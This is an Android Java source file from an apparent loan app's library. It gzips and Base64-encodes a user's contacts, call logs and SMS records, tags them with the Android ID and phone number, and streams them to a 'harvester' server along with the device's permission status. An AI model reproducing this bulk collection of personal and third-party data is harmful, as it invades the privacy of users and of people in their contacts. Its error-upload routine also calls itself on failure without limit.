package tech.starwin.utils.collection;

import android.Manifest;
import android.content.Context;
import android.support.annotation.NonNull;
import android.text.TextUtils;
import android.util.Base64;

import com.annimon.stream.Stream;
import com.annimon.stream.function.BiFunction;

import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.net.SocketException;
import java.net.SocketTimeoutException;
import java.net.UnknownHostException;
import java.util.ArrayList;
import java.util.List;
import java.util.UUID;

import io.reactivex.Observable;
import io.reactivex.android.schedulers.AndroidSchedulers;
import io.reactivex.functions.Function;
import io.reactivex.schedulers.Schedulers;
import tech.starwin.LibConfig;
import tech.starwin.database.Collector;
import tech.starwin.database.DataBaseHelper;
import tech.starwin.database.entity.CollectInfoEntity;
import tech.starwin.network.Gateway;
import tech.starwin.utils.GeneralUtils;
import tech.starwin.utils.LogUtils;
import tech.starwin.utils.LoginManager;
import tech.starwin.utils.PreferencesManager;
import tech.starwin.utils.RetryWithDelay;
import tech.starwin.utils.context_utils.AppInfoUtils;
import tech.starwin.utils.context_utils.PermissionsHelper;

/**
 * Created by SiKang on 2018/10/30.
 * 上传收集的用户信息
 */
public class UploadManager {
    private static final String TAG = "UploadManager";
    private static Context context;

    public static void init(Context ctx) {
        context = ctx;
        DataBaseHelper.init(ctx);
    }


    /**
     * 申请贷款时需要上传的数据（联系人、通话记录、短信记录 等）
     */
    public static void uploadCollectInfo(String sessionId) {
        uploadCollectInfo(sessionId, true);
    }

    /**
     * new 申请贷款时需要上传的数据（联系人、通话记录、短信记录 等）
     */
    public static void uploadCollectInfo(String sessionId, boolean needLogs) {
        if (TextUtils.isEmpty(sessionId)) {
            return;
        }
        PreferencesManager.get().saveSessionId(sessionId);
        Observable.just(true)
                .observeOn(Schedulers.io())
                .map(new Function<Boolean, Boolean>() {
                    @Override
                    public Boolean apply(Boolean aBoolean) throws Exception {
                        long startTime = System.currentTimeMillis();
                        //获取需要上传的数据
                        List<CollectInfoEntity> infos;
                        if (needLogs) {
                            infos = Collector.getUploadData(context);
                        } else {
                            infos = Collector.getUploadWhitOutLogs(context);
                        }
                        if (infos == null || infos.size() == 0) {
                            return false;
                        }
                        //开始上传
                        startUpload(infos, sessionId);
                        PreferencesManager.get().saveSessionId("");
                        return true;
                    }
                })
                .retryWhen(new RetryWithDelay(5, 20 * 1000))
                .observeOn(AndroidSchedulers.mainThread())
                .subscribe();
    }

    /**
     * 开始上传
     */
    public static void startUpload(List<CollectInfoEntity> infoList, String sessionId) throws RuntimeException {
        Socket socket = null;
        OutputStream os = null;
        InputStream ins = null;
        try {

            socket = getSocket();
            os = socket.getOutputStream();
            ins = socket.getInputStream();

            List<String> datas = Stream.of(infoList)
                    .map(new com.annimon.stream.function.Function<CollectInfoEntity, byte[]>() {
                        @Override
                        public byte[] apply(CollectInfoEntity collectInfoEntity) {
                            return GZipUtil.compress(collectInfoEntity.getBody(), "utf-8");
                        }
                    })
                    .map(new com.annimon.stream.function.Function<byte[], String>() {
                        @Override
                        public String apply(byte[] bytes) {
                            return Base64.encodeToString(bytes, 0);
                        }
                    })
                    .reduce(new ArrayList<>(), new BiFunction<ArrayList<String>, String, ArrayList<String>>() {
                        @Override
                        public ArrayList<String> apply(ArrayList<String> array, String value) {
                            array.add(value);
                            return array;
                        }
                    });


            int count = Stream.of(datas).reduce(0, (accr, item) -> accr + item.length());

            LogUtils.d(TAG, "upload count:" + (count / 1024 + "k"));

            for (int i = 0; i < datas.size(); i++) {
                IncomeMessageProto.Message message = IncomeMessageProto.Message.newBuilder()
                        .setVersion("2")
                        .setBody(datas.get(i))
                        .setImei(AppInfoUtils.getAndroidID(context))
                        .setMobile(LoginManager.get().getMobile())
                        .setCTimestamp(System.currentTimeMillis())
                        .setType(IncomeMessageProto.Message.Type.TRACE)
                        .setSessionId(sessionId)
                        .build();


                message.writeDelimitedTo(os);
                os.flush();
                IncomeMessageProto.Message feedback = IncomeMessageProto.Message.parseDelimitedFrom(ins);
                if (feedback != null) {
                    String from = feedback.toString();
                    LogUtils.d(TAG, "feedback: " + from);
                }
            }

            //发送上传结束指令
            sendControlCommand(os, "CLOSE", sessionId, " datas.size=" + datas.size());

        } catch (IOException e) {
            e.printStackTrace();
            uploadException(e, e.getMessage());
        } catch (Exception e) {
            e.printStackTrace();
            uploadException(e, e.getMessage());
        } finally {
            try {
                if (os != null) {
                    os.close();
                }
                if (ins != null) {
                    ins.close();
                }
                if (socket != null) {
                    socket.close();
                }
            } catch (IOException e) {
                e.printStackTrace();
            }
        }

    }

    /**
     * 创建Socket
     */
    private static Socket getSocket() throws IOException {
        String harvesterUrl = Gateway.getHarvesterUrl();
        harvesterUrl = harvesterUrl.replaceAll("http://", "");
        harvesterUrl = harvesterUrl.replaceAll("https://", "");
        String ip = harvesterUrl.split(":")[0];

        int port;
        if (harvesterUrl.length() <= 1) {
            port = LibConfig.HARVESTER_PORT;
        } else {
            try {
                port = Integer.valueOf(harvesterUrl.split(":")[1]);
            } catch (Exception e) {
                e.printStackTrace();
                port = LibConfig.HARVESTER_PORT;
            }
        }

        Socket socket = new Socket();
        try {
            socket.setSoTimeout(30 * 1000);
            socket.connect(new InetSocketAddress(ip, port), 10 * 1000);
        } catch (UnknownHostException | SocketException | SocketTimeoutException e) {
            e.printStackTrace();
        }

        LogUtils.d(TAG, "socket.getInetAddress() = " + socket.getInetAddress());
        LogUtils.d(TAG, "socket.getPort() = " + socket.getPort());
        LogUtils.d(TAG, "socket.getRemoteSocketAddress() = " + socket.getRemoteSocketAddress());

        return socket;
    }


    /**
     * 发送指令
     *
     * @param body 上传内容长度 + 权限获取状态
     */
    private static void sendControlCommand(OutputStream os, String cmd, String sessionId, String
            body) throws IOException {

        IncomeMessageProto.Message closeMsg = IncomeMessageProto.Message.newBuilder()
                .setCTimestamp(0)
                .setVersion("2")
                .setBody(body + " permission=" + getPermissionState(context).toString())
                .setImei(AppInfoUtils.getAndroidID(context))
                .setMobile(LoginManager.get().getMobile())
                .setType(IncomeMessageProto.Message.Type.UNKNOWN)
                .setControlCmd(cmd)
                .setSessionId(sessionId)
                .build();

        closeMsg.writeDelimitedTo(os);
        os.flush();
    }

    /**
     * 权限获取状态
     */
    private static JSONArray getPermissionState(Context context) {
        String[] permissionsTocheck = {
                Manifest.permission.READ_CONTACTS,
                Manifest.permission.READ_CALL_LOG,
                Manifest.permission.READ_SMS,
                Manifest.permission.ACCESS_COARSE_LOCATION,//粗精度定位
                Manifest.permission.ACCESS_FINE_LOCATION,//卫星定位
                Manifest.permission.READ_PHONE_STATE
        };

        JSONArray array = new JSONArray();
        for (int i = 0; i < permissionsTocheck.length; i++) {
            try {
                JSONObject object = new JSONObject();
                object.put("checkTime", System.currentTimeMillis());
                object.put("permissionType", permissionsTocheck[i]);

                if (PermissionsHelper.isGranted(context, permissionsTocheck[i])) {
                    object.put("isGranted", "GRANTED");
                } else {
                    object.put("isGranted", "REFUSED");
                }

                array.put(object);

            } catch (JSONException e) {
                e.printStackTrace();
//                UploadUtils.uploadException(e, "Collector.getPermissionState");
            }

        }

        return array;
    }


    /**
     * 上传异常信息
     */
    public static void uploadException(Throwable ex, @NonNull String tag) {

        Observable.just(true)
                .subscribeOn(Schedulers.io())
                .map(new Function<Boolean, Boolean>() {
                    @Override
                    public Boolean apply(Boolean aBoolean) throws Exception {
                        Socket socket = null;
                        OutputStream os = null;
                        InputStream ins = null;
                        try {

                            String exBody = ExceptionHelper.getCrashMsgBody(context, ExceptionHelper.throwable2String(ex), tag).toString();
                            exBody = android.util.Base64.encodeToString(GZipUtil.compress(exBody,
                                    "utf-8"), 0);

                            socket = getSocket();

                            os = socket.getOutputStream();
                            ins = socket.getInputStream();

                            String sessionId = UUID.randomUUID().toString();
                            IncomeMessageProto.Message message = IncomeMessageProto.Message.newBuilder()
                                    .setVersion("2")
                                    .setBody(exBody)
                                    .setImei(AppInfoUtils.getAndroidID(context))
                                    .setMobile(LoginManager.get().getMobile())
                                    .setCTimestamp(System.currentTimeMillis())
                                    .setType(IncomeMessageProto.Message.Type.TRACE)
                                    .setSessionId(sessionId)
                                    .build();

                            message.writeDelimitedTo(os);
                            os.flush();

                            IncomeMessageProto.Message feedback = IncomeMessageProto.Message
                                    .parseDelimitedFrom(ins);

                            String from = feedback.toString();

                            sendControlCommand(os, "CLOSE", sessionId, "exception upload completed");

                        } catch (Exception e) {
                            uploadException(e,e.getMessage());
                        } finally {
                            try {
                                if (os != null) {
                                    os.close();
                                }
                                if (ins != null) {
                                    ins.close();
                                }
                            } catch (IOException e) {
                                e.printStackTrace();
                            }
                        }
                        return true;
                    }
                })
                .subscribe();
    }

}
